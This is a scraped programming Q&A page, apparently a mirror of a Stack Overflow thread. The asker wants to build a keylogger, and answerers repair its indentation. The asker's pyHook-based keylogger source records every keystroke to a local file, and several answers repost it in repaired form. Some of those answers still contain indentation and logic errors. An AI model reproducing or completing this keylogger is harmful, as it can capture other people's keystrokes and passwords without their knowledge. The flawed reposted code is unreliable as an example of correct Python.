简体   繁体   中英

Python - Error: Expected an Indented Block

I've been tampering with Python and Keyloggers, trying to find a comprehensive tutorial on how to construct one and haven't been able to find one. What really throws me off it the availability of the modules, versus the actual python update, and the pyhooks - trying to find compatibility is extremely difficult. Anyway, I finally found a somewhat viable tutorial and I get the "Expected an Intended Block" error. Here is the code.

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
if event.Ascii == 5: 
sys.exit()

if event.Ascii != 0 or 8: 
f = open ('c:\\output.txt', 'a') 
keylogs = chr(event.Ascii) 
if event.Ascii == 13: 
keylogs = keylogs + '\n' 
f.write(keylogs) 
f.close()

while True:
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages()

I get the error on the 5th line of code (if event.Ascii == 5:) something is wrong with that if and it's not allowing me to run the module. Any help? Thanks.

Add proper formatting for your python script, for example add identation properly for OnKeyboardEvent function:

def OnKeyboardEvent(event):
    if event.Ascii == 5: 
        sys.exit()
    if event.Ascii != 0 or 8: 
        f = open ('c:\\output.txt', 'a') 
        keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
        keylogs = keylogs + '\n' 
        f.write(keylogs) 
        f.close()

Also your while loop should contain identation:

while True:
    hm = pyHook.HookManager() 
    hm.KeyDown = OnKeyboardEvent 
    hm.HookKeyboard()
    pythoncom.PumpMessages()

See Lines and Indentation section of that article.

Use this proper python code format in you code:

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
    if event.Ascii == 5: 
        sys.exit()

if event.Ascii != 0 or 8: 
    f = open ('c:\\output.txt', 'a') 
    keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
       keylogs = keylogs + '\n' 
       f.write(keylogs) 
       f.close()

while True:
    hm = pyHook.HookManager() 
    hm.KeyDown = OnKeyboardEvent 
    hm.HookKeyboard()
    pythoncom.PumpMessages()
import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
    if event.Ascii == 5:
    sys.exit()
    if event.Ascii != 0 or 8:
        f = open ('c:\\output.txt', 'a')
        keylogs = chr(event.Ascii)
    if event.Ascii == 13:
        keylogs = keylogs + '\n'
        f.write(keylogs)
        f.close()
    while True:
        hm = pyHook.HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()

I am not sure if the code works. This is just an example how we should indent in python as we dont have braces here. You may also refer to this.

http://www.secnetix.de/olli/Python/block_indentation.hawk

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM